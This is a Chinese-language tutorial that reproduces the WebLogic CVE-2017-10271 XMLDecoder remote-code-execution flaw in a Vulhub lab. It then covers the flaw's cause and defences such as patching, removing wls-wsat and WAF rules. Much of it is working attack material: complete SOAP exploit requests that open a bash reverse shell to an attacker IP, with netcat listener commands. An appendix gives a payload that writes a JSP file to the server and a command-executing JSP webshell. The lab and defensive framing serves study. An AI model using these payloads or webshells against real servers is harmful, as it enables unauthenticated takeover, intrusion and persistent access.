【vulhub weblogic CVE-2017-10271漏洞复现】vulhub weblogic CVE-2017-10271漏洞复现详细解析
安全提示与职业操守
做渗透测试,必须严格遵守以下原则:
- 合法授权 :仅在书面授权的范围内使用,禁止未授权测试;
- 最小影响 :避免使用高风险参数(如sqlmap工具的
--risk=3、--os-shell),防止目标服务崩溃; - 数据保护:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除;
- 留痕清理:测试结束后,协助目标清除测试留下的日志、文件等痕迹。
免责声明
- 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
- 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 "非法侵入计算机信息系统罪"、第 286 条 "破坏计算机信息系统罪")及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
- 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
- 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
- 本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。
1.在 vulhub 中打开靶场环境

使用 curl 命令获取网页状态,返回正常

访问 ip:port 进入web界面,出现404说明环境搭建成功
# CVE-2017-10271漏洞的接口
/wls-wsat/CoordinatorPortType
进入该接口后改为post传参

这里主要要把Content-Type字段改成 text/xml否则会出现错误
构造EXP:
http
# request
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.171.128:7001
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.171.133/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

发送请求

反弹shell成功
深入剖析 WebLogic CVE-2017-10271 漏洞:原理、复现与防御
Oracle WebLogic Server 作为企业级 Java EE 应用服务器,被广泛应用于金融、政务、能源等核心领域,其安全漏洞往往带来极高的攻击风险。CVE-2017-10271 是 WebLogic 中典型的反序列化远程代码执行漏洞,危害等级为高危,本文将从漏洞原理 、环境复现 、深度分析 到防御措施,全方位拆解该漏洞的本质与利用方式。
一、漏洞概述
1.1 漏洞基本信息
- 漏洞编号:CVE-2017-10271
- 影响版本:Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.1、12.2.1.2
- 漏洞类型:远程代码执行(RCE)
- 危害等级:高危(CVSS 评分 9.8)
- 核心成因:WLS-WSAT 组件对 XML 数据解析不当,导致 XMLDecoder 反序列化执行恶意代码
1.2 漏洞影响
攻击者无需认证,可通过发送特制的 XML 请求包,直接在目标服务器上执行任意系统命令(如反弹 Shell、植入后门),完全控制 WebLogic 服务器,进而横向渗透整个内网。
二、漏洞核心原理
2.1 WLS-WSAT 组件背景
WLS-WSAT(WebLogic Web Services Atomic Transaction)是 WebLogic 用于处理 Web 服务原子事务的组件,其对外暴露的接口/wls-wsat/CoordinatorPortType支持接收 XML 格式的 SOAP 请求。该组件在解析 XML 请求时,使用了java.beans.XMLDecoder类处理请求体,而 XMLDecoder 存在反序列化安全缺陷。
2.2 XMLDecoder 反序列化漏洞本质
XMLDecoder是 Java 提供的 XML 反序列化工具,初衷是将 XML 数据还原为 Java 对象。但该工具的设计存在致命缺陷:它不仅能反序列化普通 Java 对象,还能解析并执行包含恶意逻辑的 XML 代码,直接调用 Java 类的方法执行系统命令。
以漏洞利用的核心逻辑为例:
java
// 核心恶意XML片段对应的Java逻辑
ProcessBuilder pb = new ProcessBuilder("/bin/bash", "-c", "bash -i >& /dev/tcp/攻击者IP/端口 0>&1");
pb.start();
上述 Java 代码被封装为 XML 格式后,XMLDecoder 解析时会直接实例化ProcessBuilder类并调用start()方法,从而执行系统命令 ------ 这是 CVE-2017-10271 漏洞可被利用的核心基础。
2.3 漏洞触发的关键条件
- 接口可达 :目标服务器的
/wls-wsat/CoordinatorPortType接口未被禁用,且可被外部访问; - Content-Type 正确 :请求头需设置
Content-Type: text/xml,否则 WLS-WSAT 组件会拒绝解析 XML 数据; - 恶意 XML 构造合法 :XML 结构需符合 SOAP 协议规范,且恶意代码片段需被包裹在
WorkContext标签内(该标签是 WLS-WSAT 组件的核心处理节点)。
三、漏洞复现(基于 Vulhub 环境)
3.1 环境准备
Vulhub 是开源的漏洞靶场平台,已内置 WebLogic CVE-2017-10271 的漏洞环境,部署步骤如下:
- 克隆 Vulhub 仓库:
git clone https://github.com/vulhub/vulhub.git; - 进入漏洞目录:
cd vulhub/weblogic/CVE-2017-10271; - 启动靶场:
docker-compose up -d; - 验证环境:使用
curl http://靶机IP:7001,返回 404 页面即说明 WebLogic 环境启动成功(WLS-WSAT 组件本身无前端页面,主页面 404 是正常现象)。
3.2 漏洞验证与利用
步骤 1:确认漏洞接口可达
访问http://靶机IP:7001/wls-wsat/CoordinatorPortType,若返回空白页面或 SOAP 相关错误,说明接口存在且可访问。
步骤 2:构造恶意 EXP(反弹 Shell)
核心是构造符合 SOAP 协议的 XML 请求包,关键要点:
- 请求方法为 POST;
- 请求头
Content-Type必须为text/xml; - XML 体中嵌入
ProcessBuilder执行反弹 Shell 命令。
完整 EXP 如下:
http
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.171.128:7001
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.171.133/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
参数说明:
192.168.171.133:攻击者的 IP 地址;21:攻击者监听的端口(需提前用nc -lvvp 21开启监听);/bin/bash:针对 Linux 靶机,若为 Windows 需替换为cmd.exe及对应命令。
步骤 3:发送请求并获取 Shell
- 攻击者端开启端口监听:
nc -lvvp 21; - 使用 Burp Suite/Postman 等工具发送上述 POST 请求;
- 监听端收到连接,反弹 Shell 成功,可执行任意系统命令。
四、漏洞深度分析
4.1 为什么 Content-Type 必须为 text/xml?
WLS-WSAT 组件作为 Web 服务组件,严格遵循 SOAP 协议规范:SOAP 请求的默认 Content-Type 为text/xml,若请求头设置为其他类型(如application/x-www-form-urlencoded),组件会直接拒绝解析 XML 请求体,导致恶意代码无法被 XMLDecoder 处理。
4.2 XML 恶意代码的执行逻辑拆解
java
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<!-- 构造ProcessBuilder的参数数组:/bin/bash -c 反弹Shell命令 -->
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/192.168.171.133/21 0>&1</string></void>
</array>
<!-- 调用ProcessBuilder的start()方法,执行命令 -->
<void method="start"/></void>
</void>
</java>
<void class="java.lang.ProcessBuilder">:实例化 ProcessBuilder 类(Java 中用于创建操作系统进程);<array>:为 ProcessBuilder 构造命令参数数组;<void method="start"/>:调用 start () 方法启动进程,执行命令。
XMLDecoder 解析上述 XML 时,并非简单的 "反序列化对象",而是直接执行类的方法,这是其设计缺陷的核心 ------ 正常的反序列化工具应仅还原数据,而非执行方法。
4.3 漏洞的本质:组件权限与反序列化滥用
WLS-WSAT 组件以 WebLogic 的系统权限运行,因此通过该组件执行的命令拥有极高权限(通常为weblogic用户甚至root权限)。攻击者无需认证即可利用该组件,本质是:
- WebLogic 未对 WLS-WSAT 接口做访问控制;
- XMLDecoder 的危险解析逻辑未被限制;
- 组件运行权限过高,无最小权限原则约束。
五、防御措施
5.1 紧急修复:禁用 WLS-WSAT 组件
若无需使用 WSAT 功能,直接删除 / 禁用相关组件是最有效的临时措施:
- 删除 WebLogic 安装目录下的
wls-wsat.war文件; - 删除
domain/servers/AdminServer/tmp/_WL_user/wls-wsat目录; - 重启 WebLogic 服务,验证
/wls-wsat/CoordinatorPortType接口不可访问。
5.2 官方补丁修复
Oracle 已发布 CVE-2017-10271 的官方补丁,需根据 WebLogic 版本下载对应补丁:
- 补丁下载地址:Oracle 官网的 Critical Patch Update(CPU)页面;
- 补丁安装:遵循 Oracle 官方文档,安装后重启 WebLogic。
5.3 网络层防护
- WAF 规则 :配置 WAF 拦截包含
java.beans.XMLDecoder、ProcessBuilder、/wls-wsat/等关键词的请求; - 访问控制:限制 WebLogic 管理端口(7001/7002)仅对内网开放,禁止外网直接访问;
- 流量审计:监控 POST 请求中包含 SOAP/XMLDecoder 的异常流量。
5.4 代码层加固
- 若必须使用 XMLDecoder,需严格过滤 XML 内容,禁止解析包含
java.lang.ProcessBuilder、java.lang.Runtime等危险类的 XML 片段; - 遵循最小权限原则:降低 WebLogic 服务运行账户的权限,避免使用 root/Administrator 账户。
六、总结
CVE-2017-10271 漏洞的本质是WebLogic 组件对危险反序列化工具的不当使用 + 缺乏访问控制,这类漏洞在 Java EE 应用服务器中较为典型。从防御角度,企业不仅要及时打补丁、禁用无用组件,更要建立 "最小权限 + 流量监控 + 代码审计" 的多层防御体系。
对于渗透测试人员而言,该漏洞的复现不仅是技术验证,更能帮助理解 Java 反序列化漏洞的核心逻辑 ------XMLDecoder、ObjectInputStream 等反序列化工具的滥用,是 Java 安全的高频考点,掌握其原理才能更高效地发现和防御同类漏洞。
免责声明:本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。
附加:(写入webshell的分析)
WebShell 植入全流程(实战详解)
4.1 核心 EXP 构造(写入测试型 WebShell)
完整请求包(重点标注关键参数)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001 # 替换为靶机IP
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml # 必须为text/xml,否则解析失败
Content-Length: 638 # 需根据XML内容调整长度
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<!-- 核心:实例化PrintWriter,指定写入路径 -->
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<!-- 调用println方法,写入JSP代码 -->
<void method="println"><string>
<![CDATA[
<% out.print("test"); %> <!-- WebShell核心代码,可替换为一句话木马 -->
]]>
</string>
</void>
<!-- 关闭PrintWriter流,完成写入 -->
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
4.2 执行步骤(以 Burp Suite 为例)
步骤 1:配置请求参数
- 打开 Burp Suite,切换到
Repeater模块; - 粘贴上述 EXP,将
Host替换为靶机 IP(如192.168.171.128:7001); - 确认
Content-Type: text/xml已配置,Content-Length自动适配(Burp 可自动计算)。
步骤 2:发送请求并验证响应
- 发送请求后,若响应状态码为
200 OK(或500 Internal Server Error,不影响写入),说明请求被解析; - 无明显报错即代表文件写入大概率成功。
步骤 3:访问 WebShell 验证结果
访问http://your-ip:7001/bea_wls_internal/test.jsp,页面显示test------ 说明 WebShell 写入成功且可正常执行。
4.3 进阶:植入一句话木马(实战型 WebShell)
将 EXP 中![CDATA[]]内的代码替换为 Java 一句话木马:
<![CDATA[
<%@ page language="java" import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
while((line = br.readLine())!=null){
out.print(line);
}
%>
]]>
替换后重新发送请求,访问http://your-ip:7001/bea_wls_internal/test.jsp?cmd=whoami,页面返回服务器当前用户(如weblogic),即实现命令执行。
五、WebShell 写入原理深度拆解
5.1 为什么选择bea_wls_internal路径?
WebLogic 的_WL_internal目录是自动解压的临时 WAR 包目录,具备两个核心特性:
- 写入权限:WebLogic 运行账户(
weblogic)对该目录有完全读写权限; - 可访问性:
bea_wls_internal是 WebLogic 内置的内部应用,其 WAR 包解压后的文件可直接通过http://ip:7001/bea_wls_internal/文件名访问; - 路径稳定性:
servers/AdminServer/tmp/_WL_internal/bea_wls_internal/是 WebLogic 默认路径,不同环境仅9j4dqk(随机字符)可能变化,可通过目录遍历 / 信息收集获取。
5.2 XMLPayload 核心节点解析
| XML 节点 | 作用说明 |
|---|---|
object class="java.io.PrintWriter" |
实例化 PrintWriter 类(Java 文件写入核心类) |
<string>写入路径</string> |
为 PrintWriter 指定输出文件路径(JSP 文件) |
<void method="println"> |
调用 PrintWriter 的 println () 方法,向文件写入内容 |
<![CDATA[...]]> |
包裹 JSP 代码,避免 XML 特殊字符(如</>)导致解析错误 |
<void method="close"/> |
调用 close () 方法关闭流,确保文件写入完成(无此步骤可能导致文件内容不完整) |
5.3 为什么 Content-Type 必须为 text/xml?
WLS-WSAT 组件是遵循 SOAP 协议的 Web 服务,SOAP 1.1 规范明确要求请求头Content-Type为text/xml:
- 若设置为
application/x-www-form-urlencoded/multipart/form-data等,组件会直接拒绝解析 XML 请求体; - 这是漏洞利用的 "硬条件",也是 WAF 规则检测的核心特征之一。
免责声明:本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。